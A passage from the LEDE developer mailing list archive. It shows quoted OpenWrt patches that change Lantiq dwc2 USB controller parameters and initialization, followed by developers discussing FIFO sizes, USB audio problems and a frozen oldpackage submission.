>> -+      .host_ls_low_power_phy_clk      = -1,
>> -+      .ts_dline                       = -1,
>> -+      .reload_ctl                     = -1,
>> -+      .ahbcfg                         = -1,
>> -+      .uframe_sched                   = -1,
>> -+};
>> -+
>> - /**
>> -  * dwc2_lowlevel_hw_enable - enable platform lowlevel hw resources
>> -  * @hsotg: The driver state
>> -@@ -310,6 +366,9 @@ static int dwc2_driver_remove(struct pla
>> - static const struct of_device_id dwc2_of_match_table[] = {
>> -       { .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
>> -       { .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
>> -+      { .compatible = "lantiq,ifxhcd-danube-dwc2", .data = &params_danube },
>> -+      { .compatible = "lantiq,ifxhcd-arx100-dwc2", .data = &params_ltq },
>> -+      { .compatible = "lantiq,ifxhcd-xrx200-dwc2", .data = &params_ltq },
>> -       { .compatible = "snps,dwc2", .data = NULL },
>> -       { .compatible = "samsung,s3c6400-hsotg", .data = NULL},
>> -       {},
>> diff --git a/target/linux/lantiq/patches-4.4/0047-poweroff.patch b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
>> index 88aed2ce96..54249bba52 100644
>> --- a/target/linux/lantiq/patches-4.4/0047-poweroff.patch
>> +++ b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
>> @@ -13,7 +13,7 @@
>>   static void ltq_usb_init(void)
>>   {
>>         /* Power for USB cores 1 & 2 */
>> -@@ -380,7 +374,6 @@ static int __init mips_reboot_setup(void
>> +@@ -379,7 +373,6 @@ static int __init mips_reboot_setup(void
>>
>>         _machine_restart = ltq_machine_restart;
>>         _machine_halt = ltq_machine_halt;
>> diff --git a/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
>> new file mode 100644
>> index 0000000000..91d6ac92e7
>> --- /dev/null
>> +++ b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
>> @@ -0,0 +1,78 @@
>> +From 6c0c0951bbf8c2c216675fe277fba4c42aa0a2bf Mon Sep 17 00:00:00 2001
>> +From: =?UTF-8?q?Antti=20Sepp=C3=A4l=C3=A4?= <a.seppala at gmail.com>
>> +Date: Sat, 27 Feb 2016 12:31:24 +0200
>> +Subject: [PATCH] usb: dwc2: Add support for Lantiq ARX and XRX SoCs
>> +MIME-Version: 1.0
>> +Content-Type: text/plain; charset=UTF-8
>> +Content-Transfer-Encoding: 8bit
>> +
>> +Add support for Lantiq ARX and XRX SoC families to the dwc2 driver.
>> +
>> +Acked-by: John Youn <johnyoun at synopsys.com>
>> +Signed-off-by: Antti Sepp?l? <a.seppala at gmail.com>
>> +Signed-off-by: Felipe Balbi <balbi at kernel.org>
>> +---
>> + Documentation/devicetree/bindings/usb/dwc2.txt |  2 ++
>> + drivers/usb/dwc2/platform.c                    | 34 ++++++++++++++++++++++++++
>> + 2 files changed, 36 insertions(+)
>> +
>> +--- a/Documentation/devicetree/bindings/usb/dwc2.txt
>> ++++ b/Documentation/devicetree/bindings/usb/dwc2.txt
>> +@@ -7,6 +7,8 @@ Required properties:
>> +   - rockchip,rk3066-usb: The DWC2 USB controller instance in the rk3066 Soc;
>> +   - "rockchip,rk3188-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3188 Soc;
>> +   - "rockchip,rk3288-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3288 Soc;
>> ++  - "lantiq,arx100-usb": The DWC2 USB controller instance in Lantiq ARX SoCs;
>> ++  - "lantiq,xrx200-usb": The DWC2 USB controller instance in Lantiq XRX SoCs;
>> +   - snps,dwc2: A generic DWC2 USB controller with default parameters.
>> + - reg : Should contain 1 register range (address and length)
>> + - interrupts : Should contain 1 interrupt
>> +--- a/drivers/usb/dwc2/platform.c
>> ++++ b/drivers/usb/dwc2/platform.c
>> +@@ -116,6 +116,37 @@ static const struct dwc2_core_params par
>> +       .hibernation                    = -1,
>> + };
>> +
>> ++static const struct dwc2_core_params params_ltq = {
>> ++      .otg_cap                        = 2,    /* non-HNP/non-SRP */
>> ++      .otg_ver                        = -1,
>> ++      .dma_enable                     = -1,
>> ++      .dma_desc_enable                = -1,
>> ++      .speed                          = -1,
>> ++      .enable_dynamic_fifo            = -1,
>> ++      .en_multiple_tx_fifo            = -1,
>> ++      .host_rx_fifo_size              = 288,  /* 288 DWORDs */
>> ++      .host_nperio_tx_fifo_size       = 128,  /* 128 DWORDs */
>> ++      .host_perio_tx_fifo_size        = 96,   /* 96 DWORDs */
>> ++      .max_transfer_size              = 65535,
>> ++      .max_packet_count               = 511,
>> ++      .host_channels                  = -1,
>> ++      .phy_type                       = -1,
>> ++      .phy_utmi_width                 = -1,
>> ++      .phy_ulpi_ddr                   = -1,
>> ++      .phy_ulpi_ext_vbus              = -1,
>> ++      .i2c_enable                     = -1,
>> ++      .ulpi_fs_ls                     = -1,
>> ++      .host_support_fs_ls_low_power   = -1,
>> ++      .host_ls_low_power_phy_clk      = -1,
>> ++      .ts_dline                       = -1,
>> ++      .reload_ctl                     = -1,
>> ++      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR16 <<
>> ++                                        GAHBCFG_HBSTLEN_SHIFT,
>> ++      .uframe_sched                   = -1,
>> ++      .external_id_pin_ctl            = -1,
>> ++      .hibernation                    = -1,
>> ++};
>> ++
>> + static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
>> + {
>> +       struct platform_device *pdev = to_platform_device(hsotg->dev);
>> +@@ -310,6 +341,8 @@ static int dwc2_driver_remove(struct pla
>> + static const struct of_device_id dwc2_of_match_table[] = {
>> +       { .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
>> +       { .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
>> ++      { .compatible = "lantiq,arx100-usb", .data = &params_ltq },
>> ++      { .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
>> +       { .compatible = "snps,dwc2", .data = NULL },
>> +       { .compatible = "samsung,s3c6400-hsotg", .data = NULL},
>> +       {},
>> diff --git a/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
>> new file mode 100644
>> index 0000000000..7a48910442
>> --- /dev/null
>> +++ b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
>> @@ -0,0 +1,53 @@
>> +From be028b8785d219a60d00a67fe3c5f421c2a22d56 Mon Sep 17 00:00:00 2001
>> +From: Hauke Mehrtens <hauke at hauke-m.de>
>> +Date: Fri, 6 Jan 2017 17:55:24 +0100
>> +Subject: [PATCH 1/2] USB: DWC2: make the lantiq settings match vendor driver
>> +
>> +Make the settings for the dwc2 driver match the settings used by the
>> +vendor driver.
>> +
>> +Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
>> +---
>> + drivers/usb/dwc2/platform.c | 17 +++++++++--------
>> + 1 file changed, 9 insertions(+), 8 deletions(-)
>> +
>> +--- a/drivers/usb/dwc2/platform.c
>> ++++ b/drivers/usb/dwc2/platform.c
>> +@@ -120,18 +120,18 @@ static const struct dwc2_core_params par
>> +       .otg_cap                        = 2,    /* non-HNP/non-SRP */
>> +       .otg_ver                        = -1,
>> +       .dma_enable                     = -1,
>> +-      .dma_desc_enable                = -1,
>> +-      .speed                          = -1,
>> ++      .dma_desc_enable                = 0,
>> ++      .speed                          = DWC2_SPEED_PARAM_HIGH,
>> +       .enable_dynamic_fifo            = -1,
>> +       .en_multiple_tx_fifo            = -1,
>> +-      .host_rx_fifo_size              = 288,  /* 288 DWORDs */
>> +-      .host_nperio_tx_fifo_size       = 128,  /* 128 DWORDs */
>> +-      .host_perio_tx_fifo_size        = 96,   /* 96 DWORDs */
>> +-      .max_transfer_size              = 65535,
>> +-      .max_packet_count               = 511,
>> ++      .host_rx_fifo_size              = 240,  /* 240 DWORDs */
>> ++      .host_nperio_tx_fifo_size       = 240,  /* 240 DWORDs */
>> ++      .host_perio_tx_fifo_size        = 32,   /* 32 DWORDs */
>> ++      .max_transfer_size              = -1,
>> ++      .max_packet_count               = -1,
>> +       .host_channels                  = -1,
>> +-      .phy_type                       = -1,
>> +-      .phy_utmi_width                 = -1,
>> ++      .phy_type                       = DWC2_PHY_TYPE_PARAM_UTMI,
>> ++      .phy_utmi_width                 = 16,
>> +       .phy_ulpi_ddr                   = -1,
>> +       .phy_ulpi_ext_vbus              = -1,
>> +       .i2c_enable                     = -1,
>> +@@ -140,7 +140,8 @@ static const struct dwc2_core_params par
>> +       .host_ls_low_power_phy_clk      = -1,
>> +       .ts_dline                       = -1,
>> +       .reload_ctl                     = -1,
>> +-      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR16 <<
>> ++      /* vr9 a1x chip rev should use GAHBCFG_HBSTLEN_SINGLE */
>> ++      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR4 <<
>> +                                         GAHBCFG_HBSTLEN_SHIFT,
>> +       .uframe_sched                   = -1,
>> +       .external_id_pin_ctl            = -1,
>> diff --git a/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
>> new file mode 100644
>> index 0000000000..492525349d
>> --- /dev/null
>> +++ b/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
>> @@ -0,0 +1,47 @@
>> +--- a/drivers/usb/dwc2/platform.c
>> ++++ b/drivers/usb/dwc2/platform.c
>> +@@ -148,6 +148,35 @@ static const struct dwc2_core_params par
>> +       .hibernation                    = -1,
>> + };
>> +
>> ++static const struct dwc2_core_params params_danube = {
>> ++      .otg_cap                        =  2,   /* non-HNP/non-SRP */
>> ++      .otg_ver                        = -1,
>> ++      .dma_enable                     = -1,
>> ++      .dma_desc_enable                = 0,
>> ++      .speed                          = DWC2_SPEED_PARAM_HIGH,
>> ++      .enable_dynamic_fifo            = -1,
>> ++      .en_multiple_tx_fifo            = -1,
>> ++      .host_rx_fifo_size              = 640,
>> ++      .host_nperio_tx_fifo_size       = 640,
>> ++      .host_perio_tx_fifo_size        = 768,
>> ++      .max_transfer_size              = -1,
>> ++      .max_packet_count               = -1,
>> ++      .host_channels                  = -1,
>> ++      .phy_type                       = -1,
>> ++      .phy_utmi_width                 = 16,
>> ++      .phy_ulpi_ddr                   = -1,
>> ++      .phy_ulpi_ext_vbus              = -1,
>> ++      .i2c_enable                     = -1,
>> ++      .ulpi_fs_ls                     = -1,
>> ++      .host_support_fs_ls_low_power   = -1,
>> ++      .host_ls_low_power_phy_clk      = -1,
>> ++      .ts_dline                       = -1,
>> ++      .reload_ctl                     = -1,
>> ++      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR4 <<
>> ++                                        GAHBCFG_HBSTLEN_SHIFT,
>> ++      .uframe_sched                   = -1,
>> ++};
>> ++
>> + static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
>> + {
>> +       struct platform_device *pdev = to_platform_device(hsotg->dev);
>> +@@ -342,6 +371,8 @@ static int dwc2_driver_remove(struct pla
>> + static const struct of_device_id dwc2_of_match_table[] = {
>> +       { .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
>> +       { .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
>> ++      { .compatible = "lantiq,danube-usb", .data = &params_danube },
>> ++      { .compatible = "lantiq,ase-usb", .data = &params_ltq },
>> +       { .compatible = "lantiq,arx100-usb", .data = &params_ltq },
>> +       { .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
>> +       { .compatible = "snps,dwc2", .data = NULL },
>> diff --git a/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
>> new file mode 100644
>> index 0000000000..e23d38733f
>> --- /dev/null
>> +++ b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
>> @@ -0,0 +1,202 @@
>> +From 14909c4e4e836925668e74fc6e0e85ba0283cbf9 Mon Sep 17 00:00:00 2001
>> +From: Hauke Mehrtens <hauke at hauke-m.de>
>> +Date: Fri, 6 Jan 2017 17:40:12 +0100
>> +Subject: [PATCH 2/2] MIPS: lantiq: improve USB initialization
>> +
>> +This adds code to initialize the USB controller and PHY also on Danube,
>> +Amazon SE and AR10. This code is based on the Vendor driver from
>> +different UGW versions and compared to the hardware documentation.
>> +
>> +Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
>> +---
>> + arch/mips/lantiq/xway/reset.c   | 120 ++++++++++++++++++++++++++++++----------
>> + arch/mips/lantiq/xway/sysctrl.c |  20 +++++++
>> + 2 files changed, 110 insertions(+), 30 deletions(-)
>> +
>> +--- a/arch/mips/lantiq/xway/reset.c
>> ++++ b/arch/mips/lantiq/xway/reset.c
>> +@@ -72,6 +72,8 @@
>> + #define RCU_USBCFG_HDSEL_BIT  BIT(11)
>> + #define RCU_USBCFG_HOST_END_BIT       BIT(10)
>> + #define RCU_USBCFG_SLV_END_BIT        BIT(9)
>> ++#define RCU_USBCFG_SLV_END_BIT_AR9    BIT(17)
>> ++
>> +
>> + /* USB reset bits */
>> + #define RCU_USBRESET          0x0010
>> +@@ -85,6 +87,8 @@
>> +
>> + #define RCU_CFG1A             0x0038
>> + #define RCU_CFG1B             0x003C
>> ++#define  RCU_CFG1_TX_PEE      BIT(0)
>> ++#define  RCU_CFG1_DIS_THR_SHIFT       15 /* Disconnect Threshold */
>> +
>> + /* USB PMU devices */
>> + #define PMU_AHBM              BIT(15)
>> +@@ -306,38 +310,91 @@ static void ltq_usb_init(void)
>> +       /* Power for USB cores 1 & 2 */
>> +       ltq_pmu_enable(PMU_AHBM);
>> +       ltq_pmu_enable(PMU_USB0);
>> +-      ltq_pmu_enable(PMU_USB1);
>> +
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | BIT(0), RCU_CFG1A);
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | BIT(0), RCU_CFG1B);
>> ++      if (of_machine_is_compatible("lantiq,ar10") ||
>> ++          of_machine_is_compatible("lantiq,grx390") ||
>> ++          of_machine_is_compatible("lantiq,ar9") ||
>> ++          of_machine_is_compatible("lantiq,vr9"))
>> ++              ltq_pmu_enable(PMU_USB1);
>> ++
>> ++      if (of_machine_is_compatible("lantiq,vr9") ||
>> ++          of_machine_is_compatible("lantiq,ar10")) {
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | RCU_CFG1_TX_PEE |
>> ++                          7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1A);
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | RCU_CFG1_TX_PEE |
>> ++                          7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1B);
>> ++      }
>> +
>> +       /* Enable USB PHY power for cores 1 & 2 */
>> +       ltq_pmu_enable(PMU_USB0_P);
>> +-      ltq_pmu_enable(PMU_USB1_P);
>> ++      if (of_machine_is_compatible("lantiq,ar10") ||
>> ++          of_machine_is_compatible("lantiq,grx390") ||
>> ++          of_machine_is_compatible("lantiq,ar9") ||
>> ++          of_machine_is_compatible("lantiq,vr9"))
>> ++              ltq_pmu_enable(PMU_USB1_P);
>> ++
>> ++      if (of_machine_is_compatible("lantiq,ase") ||
>> ++          of_machine_is_compatible("lantiq,danube")) {
>> ++              /* Configure cores to host mode */
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> ++                      RCU_USB1CFG);
>> ++
>> ++              /* Select DMA endianness (Host-endian: big-endian) */
>> ++              ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
>> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
>> ++      }
>> ++
>> ++      if (of_machine_is_compatible("lantiq,ar9")) {
>> ++              /* Configure cores to host mode */
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> ++                      RCU_USB1CFG);
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> ++                      RCU_USB2CFG);
>> ++
>> ++              /* Select DMA endianness (Host-endian: big-endian) */
>> ++              ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
>> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
>> ++              ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
>> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
>> ++      }
>> ++
>> ++      if (of_machine_is_compatible("lantiq,vr9") ||
>> ++          of_machine_is_compatible("lantiq,ar10")) {
>> ++              /* Configure cores to host mode */
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> ++                      RCU_USB1CFG);
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> ++                      RCU_USB2CFG);
>> ++
>> ++              /* Select DMA endianness (Host-endian: big-endian) */
>> ++              ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
>> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
>> ++              ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
>> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
>> ++      }
>> ++
>> ++      if (of_machine_is_compatible("lantiq,ar9")) {
>> ++              /* Hard reset USB state machines */
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
>> ++                         | USBRESET_BIT | BIT(28), RCU_USBRESET);
>> ++              udelay(50 * 1000);
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
>> ++                          & ~(USBRESET_BIT | BIT(28)), RCU_USBRESET);
>> ++      } else {
>> ++              /* Hard reset USB state machines */
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
>> ++              udelay(50 * 1000);
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
>> ++      }
>> +
>> +-      /* Configure cores to host mode */
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> +-              RCU_USB1CFG);
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
>> +-              RCU_USB2CFG);
>> +-
>> +-      /* Select DMA endianness (Host-endian: big-endian) */
>> +-      ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
>> +-              | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
>> +-      ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
>> +-              | RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
>> +-
>> +-      /* Hard reset USB state machines */
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
>> +-      udelay(50 * 1000);
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
>> +-
>> +-      /* Soft reset USB state machines */
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
>> +-              | USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
>> +-      udelay(50 * 1000);
>> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
>> +-              & ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
>> ++      if (of_machine_is_compatible("lantiq,vr9")) {
>> ++              /* Soft reset USB state machines */
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
>> ++                      | USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
>> ++              udelay(50 * 1000);
>> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
>> ++                      & ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
>> ++      }
>> + }
>> +
>> + static int __init mips_reboot_setup(void)
>> +@@ -363,8 +420,11 @@ static int __init mips_reboot_setup(void
>> +       if (!ltq_rcu_membase)
>> +               panic("Failed to remap core memory");
>> +
>> +-      if (of_machine_is_compatible("lantiq,ar9") ||
>> +-          of_machine_is_compatible("lantiq,vr9"))
>> ++      if (of_machine_is_compatible("lantiq,danube") ||
>> ++          of_machine_is_compatible("lantiq,ase") ||
>> ++          of_machine_is_compatible("lantiq,ar9") ||
>> ++          of_machine_is_compatible("lantiq,vr9") ||
>> ++          of_machine_is_compatible("lantiq,ar10"))
>> +               ltq_usb_init();
>> +
>> +       if (of_machine_is_compatible("lantiq,vr9"))
>> +--- a/arch/mips/lantiq/xway/sysctrl.c
>> ++++ b/arch/mips/lantiq/xway/sysctrl.c
>> +@@ -254,6 +254,25 @@ static void pmu_disable(struct clk *clk)
>> +               pr_warn("deactivating PMU module failed!");
>> + }
>> +
>> ++static void usb_set_clock(void)
>> ++{
>> ++      unsigned int val = ltq_cgu_r32(ifccr);
>> ++
>> ++      if (of_machine_is_compatible("lantiq,ar10") ||
>> ++          of_machine_is_compatible("lantiq,grx390")) {
>> ++              val &= ~0x03; /* XTAL devices by 3 */
> nit: divides
> 
>> ++      } else if (of_machine_is_compatible("lantiq,ar9") ||
>> ++                 of_machine_is_compatible("lantiq,vr9")) {
>> ++              /* TODO: this depends on the XTLA frequency */
>> ++              val |= 0x03; /* XTAL devices by 3 */
> nit: divides
> 
>> ++      } else if (of_machine_is_compatible("lantiq,ase")) {
>> ++              val |= 0x20; /* from XTLA */
> nit: XTAL
> 
>> ++      } else if (of_machine_is_compatible("lantiq,danube")) {
>> ++              val |= 0x30; /* 12 MHz, generated from 36 MHz */
>> ++      }
>> ++      ltq_cgu_w32(val, ifccr);
>> ++}
>> ++
>> + /* the pci enable helper */
>> + static int pci_enable(struct clk *clk)
>> + {
>> +@@ -608,4 +627,5 @@ void __init ltq_soc_init(void)
>> +
>> +       if (of_machine_is_compatible("lantiq,vr9"))
>> +               xbar_fpi_burst_disable();
>> ++      usb_set_clock();
>> + }
>> diff --git a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
>> index 227d1cf25a..e42aaf9c07 100644
>> --- a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
>> +++ b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
>> @@ -1,6 +1,6 @@
>>  --- a/arch/mips/lantiq/xway/sysctrl.c
>>  +++ b/arch/mips/lantiq/xway/sysctrl.c
>> -@@ -423,6 +423,20 @@ static void clkdev_add_clkout(void)
>> +@@ -442,6 +442,20 @@ static void clkdev_add_clkout(void)
>>         }
>>   }
>>
>> @@ -21,10 +21,10 @@
>>   /* bring up all register ranges that we need for basic system control */
>>   void __init ltq_soc_init(void)
>>   {
>> -@@ -608,4 +622,6 @@ void __init ltq_soc_init(void)
>> -
>> +@@ -628,4 +642,6 @@ void __init ltq_soc_init(void)
>>         if (of_machine_is_compatible("lantiq,vr9"))
>>                 xbar_fpi_burst_disable();
>> +       usb_set_clock();
>>  +
>>  +      set_phy_clock_source(np_cgu);
>>   }
>> --
>> 2.11.0
>>



From hauke at hauke-m.de  Fri Jan  6 11:38:07 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Fri, 6 Jan 2017 20:38:07 +0100
Subject: [LEDE-DEV] [PATCH oldpackage/eventlog oldpackage/syslog-ng3]
 version bump to latest
In-Reply-To: <F6AD23A2-DF47-4BD2-9776-471C5FD7605D@redfish-solutions.com>
References: <F6AD23A2-DF47-4BD2-9776-471C5FD7605D@redfish-solutions.com>
Message-ID: <407334f6-38bc-7e81-ba75-1bc3000e0180@hauke-m.de>

Please do not send a mail with just an attachment, oldpackage is frozen
since some years, please send add the package to the official openwrt
package repository, add yourself as a maintainer and send a pull request
on github.

On 01/06/2017 08:19 PM, Philip Prindeville wrote:


From stijn at linux-ipv6.be  Fri Jan  6 11:51:01 2017
From: stijn at linux-ipv6.be (Stijn Tintel)
Date: Fri, 6 Jan 2017 20:51:01 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] [PATCH oldpackage/eventlog
 oldpackage/syslog-ng3] version bump to latest
In-Reply-To: <407334f6-38bc-7e81-ba75-1bc3000e0180@hauke-m.de>
References: <F6AD23A2-DF47-4BD2-9776-471C5FD7605D@redfish-solutions.com>
 <407334f6-38bc-7e81-ba75-1bc3000e0180@hauke-m.de>
Message-ID: <0ceb389b-2743-eb12-15d0-769a4f2e89e0@linux-ipv6.be>

On 06-01-17 20:38, Hauke Mehrtens wrote:
> Please do not send a mail with just an attachment, oldpackage is frozen
> since some years, please send add the package to the official openwrt
> package repository, add yourself as a maintainer and send a pull request
> on github.
There are PRs for this already, which I have merged just a few moments ago.

Stijn


From a.seppala at gmail.com  Fri Jan  6 14:31:10 2017
From: a.seppala at gmail.com (=?UTF-8?B?QW50dGkgU2VwcMOkbMOk?=)
Date: Sat, 7 Jan 2017 00:31:10 +0200
Subject: [LEDE-DEV] [PATCH] lantiq: update USB controller handling
In-Reply-To: <4686b1e3-5bee-ce0a-caa3-4c559c000b32@hauke-m.de>
References: <20170106190633.21185-1-hauke@hauke-m.de>
 <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>
 <4686b1e3-5bee-ce0a-caa3-4c559c000b32@hauke-m.de>
Message-ID: <CAKv9HNao-Xh+kF9SdOxhwBy_it==8TqBWdnd1p6t_WCFNE59EQ@mail.gmail.com>

On 6 January 2017 at 21:32, Hauke Mehrtens <hauke at hauke-m.de> wrote:
> On 01/06/2017 08:26 PM, Martin Blumenstingl wrote:
>> Hi Hauke,
>>
>> (CC'ing Mathias as he was looking into some of the USB issues as well)
>>
>> On Fri, Jan 6, 2017 at 8:06 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>>> This makes the code use the same settings aas the vendor sdrivers.
>> s/aas/as/
>> s/sdrivers/driver/
>> you should probably also mention that this:
>> 1. backports USB initialization fixes for XRX300, Danube and Amazon-SE
>> 2. sets the clock source for all SoCs which fixes USB (initialization)
>> issues on Danube when using the dwc2 driver (thus fixes FS#351 and
>> supersedes Mathias' "lantiq: set the usb clock source" RFC patch)
>
> Yes after I send the patch I noticed that I haven't updated the commit
> message. I will fix that.
>
> Could someone please test this patch and report back if it fixes the
> problems on Danube and works on Amazon SE or improves something in VR9?
> Positive and negative reports would be nice. I have only tested it on
> VR9 till now, I have to look what other boards I have here.
>

Hi Hauke.

The patch looks good except for the choices of fifo sizes from vendor
driver which from the point-of-view of usb packet sizes are quite odd
will break at least certain audio devices.

If I recall correctly the dwc2 specification (Method 1) proposes
values for fifo size at minimum of:

rx fifo size: 258 + number of host channels
non-periodic tx fifo size: 128
periodic tx fifo size: 768

The spec Method 2 which is used by the upstream driver autodetection
logic[1] doubles the rx and nptx sizes to try to fit two packets at
once for greater performance.

Especially the periodic fifo size choice of 32 for vr9 is way too
small to accommodate a complete usb packet.
We used to have the vendor driver values in use for vr9 but there were
some complaints on openwrt forum that usb audio devices did not work.

Changing the values to closer resemble the dwc2 specification actually
allows audio devices to work for some people [2].

Unfortunately the default total fifo size is 512 which can never
fulfil the dwc2 specification completely.
Is there a way to programmatically re-allocate a bigger fifo for the
lantiq platform during initialization? If there is we could let the
dwc2 driver autoconfigure the fifos as it sees fit.

Also the dwc2 driver apparently does a pretty good job at
autoconfiguring various other parameters for optimum performance so I
wonder whether we should rely on that instead of hard-coding them?

A disclaimer though: I'm not an usb expert. I only did the best I
could with the fifo values based on my testing and reading the dwc2
spec :)

1. https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/dwc2/core.c?h=v4.4#n892
2. https://forum.openwrt.org/viewtopic.php?pid=299862#p299862

-- 
Antti


From hauke at hauke-m.de  Fri Jan  6 18:01:55 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Sat, 7 Jan 2017 03:01:55 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: update USB controller handling
In-Reply-To: <CAKv9HNao-Xh+kF9SdOxhwBy_it==8TqBWdnd1p6t_WCFNE59EQ@mail.gmail.com>
References: <20170106190633.21185-1-hauke@hauke-m.de>
 <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>
 <4686b1e3-5bee-ce0a-caa3-4c559c000b32@hauke-m.de>
 <CAKv9HNao-Xh+kF9SdOxhwBy_it==8TqBWdnd1p6t_WCFNE59EQ@mail.gmail.com>
Message-ID: <18525fcb-4342-912e-9fcd-84e0c05c7c8e@hauke-m.de>

